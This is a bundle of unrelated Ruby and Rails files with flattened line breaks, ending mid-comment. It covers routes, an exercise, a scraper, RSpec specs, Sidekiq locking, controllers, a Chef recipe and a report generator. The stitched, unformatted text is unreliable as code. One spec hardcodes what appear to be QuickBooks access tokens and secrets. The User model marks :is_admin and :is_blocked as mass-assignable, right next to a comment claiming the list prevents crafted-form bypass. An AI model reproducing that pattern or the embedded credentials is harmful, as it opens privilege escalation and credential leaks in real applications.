Rails.application.routes.draw do devise_for :users # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html root 'feeds#week' # ไฟกๆฏๆต resources :feeds do collection do get :week end end # ๅ›ข้˜Ÿไฟกๆฏๆต resources :teams do collection do get :week get :team_weekly_download end end resources :projects resources :users do member do get :week end end # ๅทฅไฝœๆต resources :project_workflows resources :management_workflows # ็ฎก็†ๅ‘˜่ทฏ็”ฑ namespace :admin do resources :feeds resources :users do member do post :reset_password post :set_admin post :cancel_admin post :disable post :enable end end resources :teams do member do post :delete_parents post :delete_children end end resources :projects do collection do post :import post :importcost get :exportcost end member do post :set_disabled post :set_enabled end end resources :tag_itskills resources :tag_itvendors resources :project_costs resources :solutions resources :solution_tags resources :training_tags resources :training_articles # ๅŽ‚ๅ•†็”Ÿๆ€ resources :eco_companies resources :eco_tags resources :eco_company_attachments end # demoๆต‹่ฏ•้กต้ข resources :landingpage do collection do get :demo get :faq end end # api namespace :api, :defaults => { :format => :json } do namespace :v1 do # resources :users, only: [:index, :show] # ็”จๆˆทๆœ็ดข get "/users/:search" => "users#search", as: :users # ๅ›ข้˜Ÿๆœ็ดข get "/teams/:search" => "teams#search", as: :teams # ๅ›ข้˜Ÿๆœ็ดข get "/projects/:search" => "projects#search", as: :projects end end namespace :wechatpage do resources :users do collection do get :user_search # ๅญฆๅކ้€‰ๆ‹ฉ get :user_degree_choice get :user_has_idcard get :user_has_resume get :user_degree_college get :user_degree_university get :user_degree_master get :user_degree_doctor end end resources :solutions resources :training_tags do collection do get :itvendors_index get :solutions_index get :generals_index end end resources :training_articles resources :eco_companies end # ๅคดๅƒๅŠจๆ€็”Ÿๆˆ get "avatar/:size/:background/:text" => Dragonfly.app.endpoint { |params, app| app.generate(:initial_avatar, URI.unescape(params[:text]), { size: params[:size], background_color: params[:background] }) }, as: :avatar end
# The String#to_i method converts a string of numeric characters (including an optional plus or # minus sign) to an Integer. String#to_i and the Integer constructor (Integer()) behave # similarly. In this exercise, you will create a method that does the same thing. # Write a method that takes a String of digits, and returns the appropriate number as an integer. # You may not use any of the methods mentioned above. # For now, do not worry about leading + or - signs, nor should you worry about invalid # characters; assume all characters will be numeric. # You may not use any of the standard conversion methods available in Ruby, such as # String#to_i, Integer(), etc. Your method should do this the old-fashioned way and calculate # the result by analyzing the characters in the string. # Understand the problem: # Pass numeric string argument to method # create hash of string numeric keys and integer values # create numeric_array = [] # Iterate (map) over string characters # Find each key # Change to each corresponding value # concat array def convert_to_int num_string num_hash = { '0' => 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5, '6' => 6, '7' => 7, '8' => 8, '9' => 9 } num_array = num_string.chars.map do |char| num_hash[char] end final_number = 0 count = num_array.length - 1 num_array.each do |num| final_number += num * (10 ** count) count -=1 end p final_number end convert_to_int '3000' convert_to_int '0'
require 'timeout' class WebsiteUtils #Returns a hash where key is link and value is the language of subtitle def self.get_article_urls(document) unless document.nil? links = Hash.new items_div = document.css('div.gallery').css('article').children #puts items_div.inspect items_div.each{|link| links[link.css('a').attr('href').text] = link.css('img').attr('title').text } links end end def self.open_document(url, tries=0) begin if tries > 3 return nil else status = Timeout::timeout(30) { document = Nokogiri::HTML(open(url, "User-Agent" => "Chrome/15.0.874.121")) return document } end rescue Timeout::Error puts 'Timeout error... Trying again' document = open_document(url, tries+1) return document end end end
require 'spec_helper' describe File.expand_path("bin/create_release.rb") do begin require File.expand_path("bin/create_release.rb") rescue NameError => ex raise("Failed to load: #{ex}") end context 'tags and branches git repo' do let(:branches_n_tags_repo_with_spurious) do double( tags: [ double(to_s: '1', name: '1'), double(to_s: '2.0.1', name: '2.0.1'), double(to_s: '8.2', name: '8.2'), double(to_s: 'v8.invalid', name: 'v8.invalid'), double(to_s: 'vSerious', name: 'vSerious'), double(to_s: 'v6.0.2', name: 'v6.0.2'), double(to_s: 'v6.0.3', name: 'v6.0.3'), double(to_s: 'v8', name: 'v8')], branches: [double(to_s: 'master', name: 'master'), double(to_s: 'release-6.0', name: 'release-8.0')] ) end let(:no_branches_or_tags_repo) do double( branches: [], tags: [] ) end describe '#latest_revision' do it 'returns 0.0 for repo with no tags or branches' do expect(latest_revision(no_branches_or_tags_repo)).to eq(['0.0', '0.0']) end it 'returns latest version ignoring master and spurrious tags ' do expect(latest_revision(branches_n_tags_repo_with_spurious)).to \ eq(['8.0', '8']) end end end context 'simple chef repo' do # a mock location for a repo let(:mock_location) { '/my_test_cookbook_repo' } # a mock Chef git repo let(:simple_chef_repo) do double( ls_files: { 'Berksfile' => {'file metadata' => 'does not exist'}, 'README.md' => {'file metadata' => 'not populated'}, 'metadata.json' => {'no metadata' => 'odd for a metadata file'}, 'metadata' => {'false flag' => 'not a Chef metadata file'}, 'data.json' => {'false flag' => 'not a Chef metadata file'}, 'recipes/default.rb' => {'file metadata' => 'not populated'}, 'test/cookbooks/test_cb/metadata.rb' => {'still no md' => 'for this'}, 'test/cookbooks/test_cb/README.md' => {'mode_index' => '100644'} }, dir: mock_location ) end describe '#find_metadatas' do require 'chef/cookbook/metadata' # a mock Chef::Cookbook::Metadata object let(:simple_metadata) { double() } it 'returns both metadata.json and metadata.rb files' do expect(Chef::Cookbook::Metadata).to receive(:new) { simple_metadata } expect(simple_metadata).to receive(:from_file). \ with(File::join(mock_location, 'metadata.json')) expect(simple_metadata).to receive(:name) { 'my_cookbook' } expect(Chef::Cookbook::Metadata).to receive(:new) { simple_metadata } expect(simple_metadata).to receive(:from_file). \ with(File::join(mock_location, 'test/cookbooks/test_cb/metadata.rb')) expect(simple_metadata).to receive(:name) { 'my_test_cookbook' } expect(find_metadatas(simple_chef_repo)).to \ eq({'test/cookbooks/test_cb/metadata.rb' => 'my_test_cookbook', 'metadata.json' => 'my_cookbook'}) end end describe '#rewrite_dependencies' do require 'chef/cookbook/metadata' let(:initial_dependencies) do {'dependencies' => {'eggs' => '>= 0.1.0', 'xanthan_gum' => '=5.0', 'chickpea_flour' => '<7.9', 'milk' => '~>100.75.2'}} end let(:rewritten_dependencies) do {'dependencies' => {'eggs' => '=900.0', 'xanthan_gum' => '=5.0', 'chickpea_flour' => '<7.9', 'milk' => '=900.0'}} end let(:metadata_fields) do {'name' => 'my_cookbook', 'description' => 'makes this test work'} end # a mock Chef::Cookbook::Metadata object let(:parsed_metadata) do double( name: 'my_cookbook', to_hash: metadata_fields.merge(initial_dependencies) ) end it 'updates expected cookbooks for a metadata.json' do md_path = File::join(mock_location, 'metadata.json') expect(Chef::Cookbook::Metadata).to receive(:new) { parsed_metadata } expect(parsed_metadata).to receive(:from_file).with(md_path) mock_file = Tempfile.new('rspec_test_of_rewrite_dependencies') begin expect(File).to receive(:open).with(md_path, 'w').and_yield(mock_file) expect(mock_file).to receive(:write).with(JSON.pretty_generate( metadata_fields.merge(rewritten_dependencies))) expect(mock_file).to receive(:flush) expect(simple_chef_repo).to receive(:add).with('metadata.json') expect(rewrite_dependencies(simple_chef_repo, 'metadata.json', '900.0', ['eggs', 'milk'])).to \ eq('my_cookbook') ensure mock_file.close mock_file.unlink end end end end end
class CorePerson < ActiveRecord::Base self.table_name = :core_person include EbrsAttribute has_one :person, foreign_key: "person_id" has_one :person_birth_detail, foreign_key: "person_id" has_one :person_address, foreign_key: "person_id" has_one :person_attribute, foreign_key: "person_id" has_one :person_identifier, foreign_key: "person_id" has_one :person_name, foreign_key: "person_id" has_many :person_relationships, foreign_key: [:person_a, :person_b] has_many :person_record_status, foreign_key: "person_id" belongs_to :person_type , foreign_key: "person_type_id" has_one :user end
class Public::ProfilesController < PublicController before_action :set_profile, only: [:show] # GET /profiles # GET /profiles.json def index @profiles = Profile.all end # GET /profiles/1 # GET /profiles/1.json def show end private # Use callbacks to share common setup or constraints between actions. def set_profile @profile = Profile.find(params[:id]) end end
require "blacklight" # MUST eager load engine or Rails won't initialize it properly require 'blacklight_solrplugins/engine' require "blacklight_solrplugins/util" module BlacklightSolrplugins # It's important to autoload everything that uses Blacklight modules/classes, # b/c Blacklight also autoloads. This means that if we don't do this, # we get errors about undefined Blacklight modules and classes. autoload :Indexer, 'blacklight_solrplugins/indexer' autoload :FacetField, 'blacklight_solrplugins/facet_field' autoload :FacetFieldWindow, 'blacklight_solrplugins/facet_field_window' autoload :FacetFieldsQueryFilter, 'blacklight_solrplugins/facet_fields_query_filter' autoload :FacetItem, 'blacklight_solrplugins/facet_item' autoload :Response, 'blacklight_solrplugins/response' autoload :ResponseFacets, 'blacklight_solrplugins/response_facets' autoload :Routes, 'blacklight_solrplugins/routes' end
class ProfileCharacteristic < ApplicationRecord belongs_to :profile belongs_to :characteristic end
require File.dirname(__FILE__) + '/../../spec_helper' describe "/title_ratings/index.html.erb" do include TitleRatingsHelper before(:each) do title_rating_98 = mock_model(TitleRating) title_rating_98.should_receive(:action).and_return("1") title_rating_98.should_receive(:comedy).and_return("1") title_rating_98.should_receive(:drama).and_return("1") title_rating_98.should_receive(:scifi).and_return("1") title_rating_98.should_receive(:romance).and_return("1") title_rating_98.should_receive(:musical).and_return("1") title_rating_98.should_receive(:kids).and_return("1") title_rating_98.should_receive(:adventure).and_return("1") title_rating_98.should_receive(:mystery).and_return("1") title_rating_98.should_receive(:suspense).and_return("1") title_rating_98.should_receive(:horror).and_return("1") title_rating_98.should_receive(:fantasy).and_return("1") title_rating_98.should_receive(:tv).and_return("1") title_rating_98.should_receive(:war).and_return("1") title_rating_98.should_receive(:western).and_return("1") title_rating_98.should_receive(:sports).and_return("1") title_rating_98.should_receive(:premise).and_return("1") title_rating_98.should_receive(:plot).and_return("1") title_rating_98.should_receive(:score).and_return("1") title_rating_98.should_receive(:acting).and_return("1") title_rating_98.should_receive(:special_effects).and_return("1") title_rating_98.should_receive(:pace).and_return("1") title_rating_98.should_receive(:character_development).and_return("1") title_rating_98.should_receive(:cinematography).and_return("1") title_rating_99 = mock_model(TitleRating) title_rating_99.should_receive(:action).and_return("1") title_rating_99.should_receive(:comedy).and_return("1") title_rating_99.should_receive(:drama).and_return("1") title_rating_99.should_receive(:scifi).and_return("1") title_rating_99.should_receive(:romance).and_return("1") title_rating_99.should_receive(:musical).and_return("1") title_rating_99.should_receive(:kids).and_return("1") title_rating_99.should_receive(:adventure).and_return("1") title_rating_99.should_receive(:mystery).and_return("1") title_rating_99.should_receive(:suspense).and_return("1") title_rating_99.should_receive(:horror).and_return("1") title_rating_99.should_receive(:fantasy).and_return("1") title_rating_99.should_receive(:tv).and_return("1") title_rating_99.should_receive(:war).and_return("1") title_rating_99.should_receive(:western).and_return("1") title_rating_99.should_receive(:sports).and_return("1") title_rating_99.should_receive(:premise).and_return("1") title_rating_99.should_receive(:plot).and_return("1") title_rating_99.should_receive(:score).and_return("1") title_rating_99.should_receive(:acting).and_return("1") title_rating_99.should_receive(:special_effects).and_return("1") title_rating_99.should_receive(:pace).and_return("1") title_rating_99.should_receive(:character_development).and_return("1") title_rating_99.should_receive(:cinematography).and_return("1") assigns[:title_ratings] = [title_rating_98, title_rating_99] end it "should render list of title_ratings" do render "/title_ratings/index.html.erb" response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) response.should have_tag("tr>td", "1", 2) end end
# # Specifying rufus-tokyo # # Mon Jan 26 15:10:03 JST 2009 # require File.dirname(__FILE__) + '/spec_base' require 'rufus/tokyo' describe 'Rufus::Tokyo::Map' do before do @m = Rufus::Tokyo::Map.new end after do @m.free end it 'should be empty initially' do @m.size.should.be.zero end it 'should respond to #size and #length' do @m.size.should.be.zero @m.length.should.be.zero end it 'should return nil when there is no value for a key' do @m['missing'].should.be.nil end it 'should accept input' do @m['a'] = 'b' @m.size.should.equal(1) end it 'should fetch values' do @m['a'] = 'b' @m['a'].should.equal('b') end it 'should accept and restitute strings with \\0' do s = "shinjuku#{0.chr}jiken" @m[s] = s @m[s].should.equal(s) end it 'should delete value with \\0' do s = "shinjuku#{0.chr}jiken" @m[s] = s @m.delete(s).should.equal(s) end it 'should iterate over values with \\0' do s = "oumya#{0.chr}box" (1..4).inject(@m) { |m, i| m["#{s}_k#{i}"] = "#{s}_v#{i}"; m } aa = @m.inject([]) { |a, (k, v)| a << k << v; a } aa.each { |e| e.should.match(/^oumya.box_[kv]/) } end it 'should raise an ArgumentError on non-string input' do lambda { @m[1] = 2 }.should.raise(ArgumentError) lambda { @m['a'] = 2 }.should.raise(ArgumentError) lambda { @m[1] = 'b' }.should.raise(ArgumentError) end end describe 'Rufus::Tokyo::Map class, like the Ruby Hash class,' do it 'should respond to #[]' do m = Rufus::Tokyo::Map[ 'a' => 'b' ] m.class.should.equal(Rufus::Tokyo::Map) m['a'].should.equal('b') m.free end end describe 'Rufus::Tokyo::Map, like a Ruby Hash,' do before do @m = Rufus::Tokyo::Map[%w{ a A b B c C }] end after do @m.free end it 'should list keys' do @m.keys.should.equal(%w{ a b c }) end it 'should list values' do @m.values.should.equal(%w{ A B C }) end it 'should respond to merge (and return a Hash)' do h = @m.merge('d' => 'D') h.should.equal(::Hash[*%w{ a A b B c C d D }]) @m.size.should.equal(3) end it 'should respond to merge! (and return self)' do r = @m.merge!('d' => 'D') @m.size.should.equal(4) r.should.equal(@m) end end describe 'Rufus::Tokyo::Map, as an Enumerable,' do before do @m = Rufus::Tokyo::Map[%w{ a A b B c C }] end after do @m.free end it 'should respond to collect' do @m.inject('') { |s, (k, v)| s << "#{k}#{v}" }.should.equal('aAbBcC') end end
shared_context "request parameters" do let(:config) do { 'quickbooks_access_token' => "qyprdhjEBfA2BI8sD7fWVPH4wL9esaKrYeWLosiPBir3pa5j", 'quickbooks_access_secret' => "yU7RtuM1Lot803jkkCfcyV9GePoNZGnZO8nRbBxo", 'quickbooks_income_account' => "Sales of Product Income", 'quickbooks_realm' => "835973000", 'quickbooks_inventory_costing' => true, 'quickbooks_inventory_account' => "Inventory Asset", 'quickbooks_deposit_to_account_name' => "Inventory Asset", 'quickbooks_cogs_account' => "Cost of Goods Sold", 'quickbooks_payment_method_name' => [{ "visa" => "Discover" }], 'quickbooks_account_name' => "Inventory Asset", 'quickbooks_shipping_item' => "Shipping Charges", 'quickbooks_tax_item' => "State Sales Tax-NY", 'quickbooks_discount_item' => "Discount" } end end
# frozen_string_literal: true module Sidekiq module LimitFetch module Global class Semaphore PREFIX = 'limit_fetch' attr_reader :local_busy def initialize(name) @name = name @lock = Mutex.new @local_busy = 0 end def limit value = redis { |it| it.get "#{PREFIX}:limit:#{@name}" } value&.to_i end def limit=(value) @limit_changed = true if value redis { |it| it.set "#{PREFIX}:limit:#{@name}", value } else redis { |it| it.del "#{PREFIX}:limit:#{@name}" } end end def limit_changed? @limit_changed end def process_limit value = redis { |it| it.get "#{PREFIX}:process_limit:#{@name}" } value&.to_i end def process_limit=(value) if value redis { |it| it.set "#{PREFIX}:process_limit:#{@name}", value } else redis { |it| it.del "#{PREFIX}:process_limit:#{@name}" } end end def acquire Selector.acquire([@name], namespace).size.positive? end def release redis { |it| it.lrem "#{PREFIX}:probed:#{@name}", 1, Selector.uuid } end def busy redis { |it| it.llen "#{PREFIX}:busy:#{@name}" } end def busy_processes redis { |it| it.lrange "#{PREFIX}:busy:#{@name}", 0, -1 } end def increase_busy increase_local_busy redis { |it| it.rpush "#{PREFIX}:busy:#{@name}", Selector.uuid } end def decrease_busy decrease_local_busy redis { |it| it.lrem "#{PREFIX}:busy:#{@name}", 1, Selector.uuid } end def probed redis { |it| it.llen "#{PREFIX}:probed:#{@name}" } end def probed_processes redis { |it| it.lrange "#{PREFIX}:probed:#{@name}", 0, -1 } end def pause redis { |it| it.set "#{PREFIX}:pause:#{@name}", '1' } end def pause_for_ms(milliseconds) redis { |it| it.psetex "#{PREFIX}:pause:#{@name}", milliseconds, 1 } end def unpause redis { |it| it.del "#{PREFIX}:pause:#{@name}" } end def paused? redis { |it| it.get "#{PREFIX}:pause:#{@name}" } == '1' end def block redis { |it| it.set "#{PREFIX}:block:#{@name}", '1' } end def block_except(*queues) raise ArgumentError if queues.empty? redis { |it| it.set "#{PREFIX}:block:#{@name}", queues.join(',') } end def unblock redis { |it| it.del "#{PREFIX}:block:#{@name}" } end def blocking? redis { |it| it.get "#{PREFIX}:block:#{@name}" } == '1' end def clear_limits redis do |it| %w[block busy limit pause probed process_limit].each do |key| it.del "#{PREFIX}:#{key}:#{@name}" end end end def increase_local_busy @lock.synchronize { @local_busy += 1 } end def decrease_local_busy @lock.synchronize { @local_busy -= 1 } end def local_busy? @local_busy.positive? end def explain <<-INFO.gsub(/^ {8}/, '') Current sidekiq process: #{Selector.uuid} All processes: #{Monitor.all_processes.join "\n"} Stale processes: #{Monitor.old_processes.join "\n"} Locked queue processes: #{probed_processes.sort.join "\n"} Busy queue processes: #{busy_processes.sort.join "\n"} Limit: #{limit.inspect} Process limit: #{process_limit.inspect} Blocking: #{blocking?} INFO end def remove_locks_except!(processes) locked_processes = probed_processes.uniq (locked_processes - processes).each do |dead_process| remove_lock! dead_process end end def remove_lock!(process) redis do |it| it.lrem "#{PREFIX}:probed:#{@name}", 0, process it.lrem "#{PREFIX}:busy:#{@name}", 0, process end end private def redis(&block) Sidekiq.redis(&block) end def namespace Sidekiq::LimitFetch::Queues.namespace end end end end end
module FlashesHelper FLASH_CLASSES = { :alert => "danger", :warning => "warning", :notice => "success" }.freeze def user_facing_flashes flash.to_hash.slice "alert", "warning", "notice" end def flash_class(key) FLASH_CLASSES.fetch key.to_sym, key end end
module Fgdc2Html # def fgdc2html(fgdc_file, fgdc_xml) # input args: # doc - nokogiri::XML::Document representing the FGDC XML def fgdc2html(doc) # doc = Nokogiri::XML(fgdc_xml) do |config| # config.strict.nonet # end return xsl_html.transform(doc).to_html end ## # Returns a Nokogiri::XSLT object containing the ISO19139 to HTML XSL # @return [Nokogiri:XSLT] def xsl_html Nokogiri::XSLT(File.open(File.join(File.dirname(__FILE__), '/xslt/fgdc2html.xsl'))) end end
class CreateCourseTaughts < ActiveRecord::Migration def change create_table :course_taughts do |t| t.integer :faculty_id t.integer :stu_id t.integer :course_id t.datetime :begin_time t.integer :duration t.integer :price t.integer :total_price t.timestamps null: false end end end
class KeywordsController < ApplicationController def index @keywords = params[:ids] ? Keyword.find(params[:ids]) : Keyword.all render json: @keywords, status: 200 end def show render json: Keyword.find(params[:id]), status: 200 end end
# frozen_string_literal: true module Milestoner module Errors # Raised for projects not initialized as Git repositories. class Git < Base def initialize message = "Invalid Git repository." super message end end end end
module Webex module Meeting # comment class Attendee include Webex include Webex::Meeting attr_accessor :meeting_key, :back_url, :invitation, :attendees, :cancel_mail, :email # attendees: [{FullName: FullName1, EmailAddress: nil, PhoneCountry: nil, PhoneArea: nil, PhoneLocal: nil, PhoneExt: nil, TimeZone: nil, Language: nil, Locale: nil, AddToAddressBook: nil}, # {FullName: FullName1, EmailAddress: nil, PhoneCountry: nil, PhoneArea: nil, PhoneLocal: nil, PhoneExt: nil, TimeZone: nil, Language: nil, Locale: nil, AddToAddressBook: nil}, # {FullName: FullName1, EmailAddress: nil, PhoneCountry: nil, PhoneArea: nil, PhoneLocal: nil, PhoneExt: nil, TimeZone: nil, Language: nil, Locale: nil, AddToAddressBook: nil}] def initialize(attributes = {}) attributes.each { |k, v| send("#{k}=", v) } env_attributes! option_required! :back_url, :meeting_key end def add option_required! :attendees res = Net::HTTP.post_form post_url, generate_params(api_type: 'AA') Hash[res.body.stringify_string.split('&').map! { |i| i.split('=') }] end def delete option_required! :email res = Net::HTTP.post_form post_url, generate_params(api_type: 'DA') Hash[res.body.stringify_string.split('&').map! { |i| i.split('=') }] end def detail option_required! :email res = Net::HTTP.post_form post_url, generate_params(api_type: 'MD') Hash[res.body.stringify_string.split('&').map! { |i| i.split('=') }] end def generate_params(overwrite_params = {}) result = {} result[:AT] = overwrite_params[:api_type] result[:MK] = meeting_key result[:BU] = back_url result[:EM] = email result[:EI] = invitation result.merge!(attendees_hash) if result[:AT] == 'AA' result[:EC] = cancel_mail? if result[:AT] == 'DA' result.delete_if { |k, v| v.nil? } end private def cancel_mail? cancel_mail end def attendees_hash index_table ={FullName: :FN, EmailAddress: :EA, PhoneCountry: :PhoneCountry, PhoneArea: :PhoneArea, PhoneLocal: :PhoneLocal, PhoneExt: :PhoneExt, TimeZone: :TimeZone, Language: :Language, Locale: :Locale, AddToAddressBook: :AddToAddressBook} hash = {} attendees.each_with_index do |attendee, index| attendee.each do |key, value| hash.merge!(:"#{index_table[key]}#{index + 1}" => value) end end hash end end end end
# # Cookbook Name:: zabbix # Recipe:: default # # Copyright 2014, YOUR_COMPANY_NAME # # All rights reserved - Do Not Redistribute # include_recipe "apt" dpkg_package "zabbix-release" do source "#{Chef::Config[:file_cache_path]}/zabbix-release_2.2-1+wheezy_all.deb" action :nothing notifies :run, 'execute[apt-get-update]', :immediately end remote_file "#{Chef::Config[:file_cache_path]}/zabbix-release_2.2-1+wheezy_all.deb" do source "http://repo.zabbix.com/zabbix/2.2/debian/pool/main/z/zabbix-release/zabbix-release_2.2-1+wheezy_all.deb" not_if "dpkg -l | grep -q 'zabbix-release'" mode 0644 notifies :install, 'dpkg_package[zabbix-release]', :immediately end include_recipe "zabbix::client"
require_relative 'movie' module VideoStore class Customer attr_reader :name def initialize(name) @name = name @rentals = [] end def add_rental(arg) @rentals << arg end def statement total_amount, frequent_renter_points = 0, 0 @rentals.each do |element| this_amount = 0 # determine amounts for each line case element.movie.price_code when VideoStore::Movie::REGULAR this_amount += 2 this_amount += (element.days_rented - 2) * 1.5 if element.days_rented > 2 when VideoStore::Movie::NEW_RELEASE this_amount += element.days_rented * 3 when VideoStore::Movie::CHILDRENS this_amount += 1.5 this_amount += (element.days_rented - 3) * 1.5 if element.days_rented > 3 end # add frequent renter points frequent_renter_points += 1 # add bonus for a two day new release rental if element.movie.price_code == VideoStore::Movie::NEW_RELEASE && element.days_rented > 1 frequent_renter_points += 1 end total_amount += this_amount end # This line was not in the original problem, added for testing purposes [total_amount, frequent_renter_points] end end end
class UsersController < BaseController before_action :set_user, only: [:show, :edit, :update, :destroy] def index @users= User.all.order('id DESC').paginate(page: params[:page], per_page: 50) end def new @users = User.new end def create @users = User.new(user_params) respond_to do |format| if @users.save format.html { redirect_to users_path, notice1: 'Aluno foi criado com sucesso.' } else format.html { render :new } format.json { render json: @users.errors, status: :unprocessable_entity } end end end def edit end def update respond_to do |format| if @users.update(user_params) format.html { redirect_to users_path , notice: 'Aluno foi editado com sucesso.' } else format.html { render :edit } format.json { render json: @users.errors, status: :unprocessable_entity } end end end def destroy @users = User.find(params[:id]) @users.destroy respond_to do |format| format.html { redirect_to users_path(@users) } format.xml { head :ok } end end def search @users_suggestions = SearchTable.searchUsers(queryString: params[:queryString].strip.downcase) render json: @users_suggestions end def set_user @users = User.find(params[:id]) # @users.photo = params[:file] end def user_params params.require(:user).permit(:name, :email, :birthday, :phone_number) end end
require 'sinatra/base' require 'nokogiri' require 'zlib' require 'base64' require 'uri' require 'cgi' module Sinatra module SamlInspectHelpers def parse_request_data(data) data.gsub!("\n", '') data.gsub!(' ', '') uri = URI.parse(data) if uri.query.nil? query_string = CGI.parse(data) else query_string = CGI.parse(uri.query) end parsed_data = {} parsed_data[:saml_request] = parse_saml query_string.fetch 'SAMLRequest', nil parsed_data[:saml_response] = parse_saml query_string.fetch 'SAMLResponse', nil parsed_data[:query_params] = query_string.reject { |k, v| ['SAMLRequest', 'SAMLResponse'].include? k } parsed_data[:query_params] = parsed_data[:query_params].each { |k, v| parsed_data[:query_params][k] = v.first } parsed_data end def parse_saml(saml, unescape=false) return nil if saml.nil? saml = saml.first unescaped = unescape ? CGI.unescape(saml) : saml decoded = Base64.decode64(unescaped) xml = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(decoded) doc = Nokogiri::XML(xml) do |cfg| cfg.nonet end doc.root.to_s end def h(text) Rack::Utils.escape_html(text) end end helpers SamlInspectHelpers end class Object def present? !blank? end def blank? respond_to?(:empty?) ? empty? : !self end end class SamlInspect < Sinatra::Base helpers Sinatra::SamlInspectHelpers set :views, "./views" get '/' do erb :index end post '/' do data = params[:post][:saml] @parsed_data = parse_request_data data if data.present? erb :index end end # vim: ai et ts=2 sw=2 sts=2
# frozen_string_literal: true class AddDescriptionToCardReaders < ActiveRecord::Migration def change add_column :secure_rooms_card_readers, :description, :string end end
# encoding: utf-8 class ReportGenerators::LinkedinReport < ReportGenerators::Base def self.can_process? type type == LinkedinDatum end def add_to(document) if !linkedin_datum.empty? add_information_to document end end private def linkedin_datum social_network.linkedin_data.where('start_date >= ? and end_date <= ?', start_date.to_date, end_date.to_date).order("start_date ASC").limit(6) end def add_information_to document initialize_variables document set_headers_and_footers 2, 5 append_rows 6 append_row_with ["PรGINA DE LINKEDIN"], @styles['title'] append_table 3 append_charts append_images (page_size * 5) @worksheet.column_widths *columns_widths append_headers_and_footers end def append_charts remove_table_legends append_rows (((page_size * 2) + 1) - current_row) append_rows 4 append_row_with ["GRรFICOS LINKEDIN"], @styles['title'] append_followers_chart append_interactivity_chart append_views_pages_chart end def append_followers_chart append_rows (((page_size * 2) + 5) - current_row) create_chart(current_row, "Seguidores") add_serie(@report_data['new_followers'], 'Nuevos seguidores') add_serie(@report_data['total_followers'], 'Seguidores totales') append_rows 15 append_comment_chart_for 2 end def append_interactivity_chart append_rows (((page_size * 3) + 5) - current_row) create_chart(current_row, "Interactividad") add_serie(@report_data['prints'], 'Impresiones') add_serie(@report_data['clics'], 'Clicks') add_serie(@report_data['interest'], '% Interรฉs') add_serie(@report_data['recommendation'], 'Recomendaciรณn') add_serie(@report_data['shared'], 'Compartidos') append_rows 15 append_comment_chart_for 3 end def append_views_pages_chart append_rows (((page_size * 4) + 5) - current_row) create_chart(current_row, "Visualizaciones de paginas") add_serie(@report_data['views_page'], 'Nรบmero de visualizaciones de pรกginas') add_serie([0], '') append_rows 15 append_comment_chart_for 4 end def select_report_data table = table_rows linkedin_datum.each do |datum| linkedin_keys.each do |key| is_header_or_dates_row?(key) ? table[key] << nil : ( value = (datum[key].nil? ? datum.send(key.to_sym) : datum[key])) table[key] << value if !is_header_or_dates_row?(key) end table['dates'] << "#{datum.start_date.strftime('%d %b')} - #{datum.end_date.strftime('%d %b')}" end table end def linkedin_keys keys = table_rows keys.shift keys.collect { |key, vale| key } end def table_rows { 'dates' => [''], 'actions' => ['Acciones durante periodo'], 'community_header' => ['Comunidad'], 'new_followers' => ['Nuevos seguidores'], 'total_followers' => ['Seguidores totales'], 'get_percentage_difference_from_previous_total_followers' => ['% Crecimiento seguidores'], 'interactions_header' => ['Interactividad'], 'views_page' => ['Nรบmero de visualizaciones de pรกginas'], 'summary' => ['Resumen'], 'employment' => ['Empleo'], 'products_services' => ['Productos y servicios'], 'prints' => ['Impresiones'], 'clics' => ['Clicks'], 'interest' => ['% Interรฉs'], 'recommendation' => ['Recomendaciรณn'], 'shared' => ['Compartidos'], 'investment_header' => ['Inversiรณn'], 'investment_agency' => ['Inversiรณn agencia'], 'investment_actions' => ['Inversiรณn nuevas acciones'], 'investment_anno' => ['Inversiรณn anuncios'], 'total_investment' => ['Inversiรณn total'] } end end
require 'digest/sha1' class User < ActiveRecord::Base include Authentication include Authentication::ByPassword include Authentication::ByCookieToken acts_as_voter named_scope :top, lambda { |*args| { :order => ["karma_score desc"], :limit => (args.first || 5), :conditions => ["karma_score > 0"]} } named_scope :newest, lambda { |*args| { :order => ["created_at desc"], :limit => (args.first || 5), :conditions => ["created_at > ?", 2.months.ago]} } named_scope :last_active, lambda { { :conditions => ["last_active > ?", 5.minutes.ago], :order => ["last_active desc"] } } validates_presence_of :login, :unless => :facebook_connect_user? validates_length_of :login, :within => 3..40, :unless => :facebook_connect_user? validates_uniqueness_of :login, :unless => :facebook_connect_user? validates_format_of :login, :with => Authentication.login_regex, :message => Authentication.bad_login_message, :unless => :facebook_connect_user? validates_format_of :name, :with => Authentication.name_regex, :message => Authentication.bad_name_message, :allow_nil => true validates_length_of :name, :maximum => 100 validates_presence_of :email, :unless => :facebook_connect_user? validates_length_of :email, :within => 6..100, :unless => :facebook_connect_user? #r@a.wk validates_uniqueness_of :email, :unless => :facebook_connect_user? validates_format_of :email, :with => Authentication.email_regex, :message => Authentication.bad_email_message, :unless => :facebook_connect_user? after_create :register_user_to_fb has_many :contents has_many :comments has_many :messages has_many :ideas has_many :events has_many :resources has_one :user_profile has_karma :contents # HACK HACK HACK -- how to do attr_accessible from here? # prevents a user from submitting a crafted form that bypasses activation # anything else you want your user to change should be added here. # NOTE:: this must be above has_friendly_id, see below attr_accessible :login, :email, :name, :password, :password_confirmation, :karma_score, :is_admin, :is_blocked, :cached_slug, :is_moderator? # NOTE NOTE NOTE NOTE NOTE # friendly_id uses attr_protected!!! # and you can't use both attr_accessible and attr_protected # so... this line MUST be located beneath attr_accessible or your get runtime errors has_friendly_id :name, :use_slug => true, :reserved => RESERVED_NAMES # Authenticates a user by their login name and unencrypted password. Returns the user or nil. # # uff. this is really an authorization, not authentication routine. # We really need a 